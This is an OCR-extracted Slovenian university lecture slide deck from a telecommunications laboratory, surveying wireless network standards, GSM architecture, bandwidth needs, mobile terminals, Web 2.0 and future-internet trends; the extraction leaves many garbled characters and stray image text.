@ @ ‘\sun.tuc.noao.edu. cnri.reston.va.us. —v @

e }‘ generic domains

@ N~ 33.13.252.140.in-addr.arpa.

, 4’|< country domains >{

——

www.ltfe.org, Laboratorij za telekomunikacije 21

>




Umestitev tehnologij WLAN

WRAN Stacionarni domet: do 100km, tip. 30km
Hitrost: do 72.6 Mbit/s, tip. 18 Mbit/s

Kognitivni radio pri izrabi TV kanalov

Operatersko okolje

IEEE 802.22 Wireless
Regional Area Networks

WWAN Mobilni domet: do 35km, tip.

IEEE 802.20 3GPP, 3GPP2 5km
Mobile Broadband GSM, UMTS itrost: do 14.4 Mbit/s danes
Wireless Access (MBWA) HSxPA, LTE eli¢no globalno pokrivanje
- = “Dperaterske-okolie

WMAN Stacionarni in mobilni

yomet: do 50km, tip. Skm
Hitrost: do 100 Mbit/s in
15 Mbit/s za mobilno
Operatersko okolje

Nomadsko: do 500m
Hitrost: do 54 Mbit/s

Lokalno pokrivanje
Brezplac¢na uporaba

Nomadsko: do 50m
Hitrost: do 1 Mbit/s, (do 1
Gbit/s)

Dsebno pokrivanje,
prezplacno

IEEE 802.16 ETSI HIPERMAN
MMDS, LMDS & HIPERACCESS

WPAN

IEEE 802.15 ZigBee
Bluetooth UwB

WBAN
RFID NFC

22
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Mobilni prenos podatkov

podatkovni
vmesnik

\4

izvorni
kodirnik

Posebnosti prenosa podatkov

m podatki so ob¢utljivi na vsak spremenjen bit
m mobilnost prinasa dodatne motnje zaradi presihov in drugih dejavnikov
m nhapacen sprejem povzro€i napacno CRC kodo in potrebo po ponovitvi

m podatki predstavljajo digitalno vsebino
m Ze pripravljen niz enic in ni¢el, zunanji MODEM ni potreben

izvorni

dekodirnik

podatkovni

23

vmesnik

modulacija

.ﬁ,g_\i’

kanalski || Sifriranje
kodirnik signala
kanalski |¢ desifriranje
dekodirnik signala

demodulacija

——
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s Osnovni gradniki arhitekture
m distribucijsko omrezje
m dostopovne tocke
m repetitorji in mostovi
m terminalna oprema

24

Bridge
Mode
(Root)

é&oa
o
&6
S
‘lli
Bridge
Mode

(Access-Point)

Bridge ﬂ\v’]v/w
Mode
(Repeater) .

Bridge
Mode
(Non-root)

——
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http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg
http://www.globalsuntech.com/solution/ieee80211/image/solutions_0101a04.jpg

| “Svobodni” usmerjevalniki

Dostopne specifikacije Pl
Operacijski sistem Linux (mogu\& |
Skupnost nadobudnih razvijalcev - ;:Ym.nm,
Najljubse tarce “zlorab”

m Linksys WRT54G e

x Asus WL-500GP g T...] TJ

s Buffalo WHR-HP-G54

www.ltfe.org, Laboratorij za telekomunikacije

[
1

25 |




| Arhitektura celiénega omrezja GSM

= Omrezje GSM sestavlja zvezdasto razvejana arhitektura
= mobilna postaja MS s kartico SIM

m bazna postaja BS z nadzornikom BSC Mobitel (1Q09):
. . v . 940 GSM BS,
m jedrni del omrezja z glavnim centrom MSC 6100 TRX@900MHz,
550 TRX@1800MHz
m baze in registri podatkov _
= EIR, AuC - varnost in zasebnost _ -~ " =<

- OSS - podsistem upravljanja \

" HLR AUC ’

m OMC, TMN - upravljanje
= HLR, VLR - mobilnost (

/

Fiksno
omrezje

NSS - podsistem omretj a (jedro)

26 terminal 1 www.Itfe.org, Laboratorij za telekomunikacije




Mobilnost in Sirokopasovnost

= lIzbira kompromisa med mobilnostjo in zmogljivostjo

m pri¢akovanja novih tehnologij in tehnoloskih pristopov (OFDM, MIMO
»
‘ :"‘ ) ..’;‘I;J’I‘
:CILJ;

Mobilnost / .doseg‘

Vozilo na
hitri cesti

Vozilo na
det eli

Vozilo v
mestu

PesSci

Nomadska
uporaba

Mestno okolje DECT
Znotraj hise ZigBee WLAN

IEEE
e BLUETOOTH v1.2 (IEEE 802.11x)  ggp4gg YWB

Teoreti¢na hitrost 0.1 1 10 100 1000 Mbit/s

27
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Luka: Zivjo, kako si?
Sandi: Ravno kuham kosilo

QuuU
e —

emen

‘ Luka - Trave/
TORE

a®

| 71vso1 l
L BRI GE
? Travel

CNN

=)

prisotnosti

FEET

T R
T Kemen
& Luka-7vswo2z
TORE
T VoG vaer
T e
_

a®

L

—_—m

' TVSLO?2
F Travel
O — S —

L

r ‘ Alice
I Klemen
& Luka-7vsioz
e segE
Qt Mojca - R7L ﬂ

CNN
ZDF

\ S

4
Upravlja
20

I

.

n

T |9 P 1
| sip:bob@ltfe-ims.org I & Luka-7vso2z
; = { #*%% |

_ e ——
e [___‘.r. -
5 . HEEAYATEE

SMiI A 4988

ZIMBABWE POLITICS

Tsvangirai says farm invaders vx@a prosecuted
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i Interaktivnost

INTERAKTIVNOST
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M Pasovne Sirine v praksi

Storitev Pasovna sirina

Govor- GSM 13 kbit/s
Govor- ISDN 64 kbit/s
Streaming audio 20 kbit/s — 512 kbit/s
Streaming video — MPEG 2 4 — 8 Mbit/s
Streaming video — MPEG 4/AVC 1 — 3 Mbit/s
Internet video 28 kbit/s — 1 Mbit/s

8 — 14 Mbit/s (MPEG 4avc)
HDTV QMbitls (MPECD

Videokonference 384 kbit/s — 5 Mbit/s

——
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| Terminalne naprave- razdelitev

= Osebni racunalnik zmogljivost
m Televizijski komunikator (Net-Top-Box)

= Igralna konzola

= Tabliéni ra€unalnik (Tablet PC)
= Dlancénik

= Mobilni telefon

= Specializirane naprave

www.ltfe.org, Laboratorij za telekomunikacije 31 |
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| Mobilni terminali

[-]

© =

©

Grandad:
When | was your age, all I've got for Chri
was an apple and a blackberry.

Hellol
g

Boy ‘M
WHAT! A LAPTOP AND A MOBlLE"'?'

S

www.ltfe.org, Laboratorij za telekomunikacije
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Evolucija spleta

Web 1.0

Think liquid.

m Zaprtost
= ni izmenjave podatkov

m Stati¢ne strani
m logika se izvaja na serverju

LLLLL

] Gougle'
nnnnnnn /’I\\\

@ jmw 9 V\B\mm
5 -

amazon
Webservices™

FaOﬁ?ce Live

m Sodelovanje
m med aplikacijami
m med uporabniki (kolaboracija)

m DinamiCne aplikacije,
bogata vsebina (slike,
zvok, video)

m Splet kot platforma

——
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m Mobilna socialna omrezja

Poenotene komunikacije

m Facebook aplikacija za iPhone

Android
telefoni

Netbooki
(39 mio)

m Dowg Highinnd commented 0a your EosL.

m +prilagojena mobilna spletna stran

Facebook

430 mio
uporabnikov
+137% zadnje leto

350K aplikacij
500M downloadov

m lokacijsko ozavescéene (GPS/WiFi/Cell ID)

iPhone,
iPod Touch

70 mio
+600%
zadnje
leto

57 mio
uporabnikov

85K aplikacij
2B downloadov

‘ Bralniki

e- knjig (3G)
(Kindle: 1mio)

+166% zadnje leto

[
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i Augmented reality

IzboljSava realnega sveta
s prikazom podatkov
na zaslonu (overlay)

m GPS + kompas + fotoaparat

iPhone in Android aplikacije
m ter Augmented SDK za razvijalce

Prototip Sixth Sense
m LED projektor + terminal
m projekcija informacij v okolje

King’s Cross

2.90 km / 1.80 miles
Also on

,
Hammersmith
_& City
Metropolitan
Piccadilly
Northern

Nearest for
k Victoria

Barbican
0.61 km / 0.37 miles

Nearest for Also on
Metropaitan | W
Hammersmith
& City

B

St.Paul's

0.32km / 0.18 miles
Nearest for

Central

[
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Future Internet

Smart]ran S e ‘ Smart Health
Networks —— networks

n Community

v » Hospital
Sm!ltoﬂlnumlv .
PWSD\(M
Ambusantory Care
Facility
- o~ :
A ‘ \- v
Suh Regionat
f Center
Regional Center
MASTER PATIENT N " T sac0ea
y WNDEX A MONITORING

Vir: ITU

{ www.ltfe.org, Laboratorij za telekomunikacije 36 |
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Svet in IKT

GLOBALNA
DIGITALNA _

narocnikov
interneta \ _
na 100 prebivalcev - * ‘

L
L

0,0-24 %
25-99
10,0-19,9

W 20,0-250

B >250

B ni podatka

Vir: ITU

——,
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Kitajska v slikah

(523

——,

www.ltfe.org, Laboratorij za telekomunikacije

.




Samomotiviranost

laj dobro

delam?
(Moji
talenti)

( www.ltfe.org, Laboratorij za telekomunikacije
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| Ekosistem talentov in Bodjetniétva!
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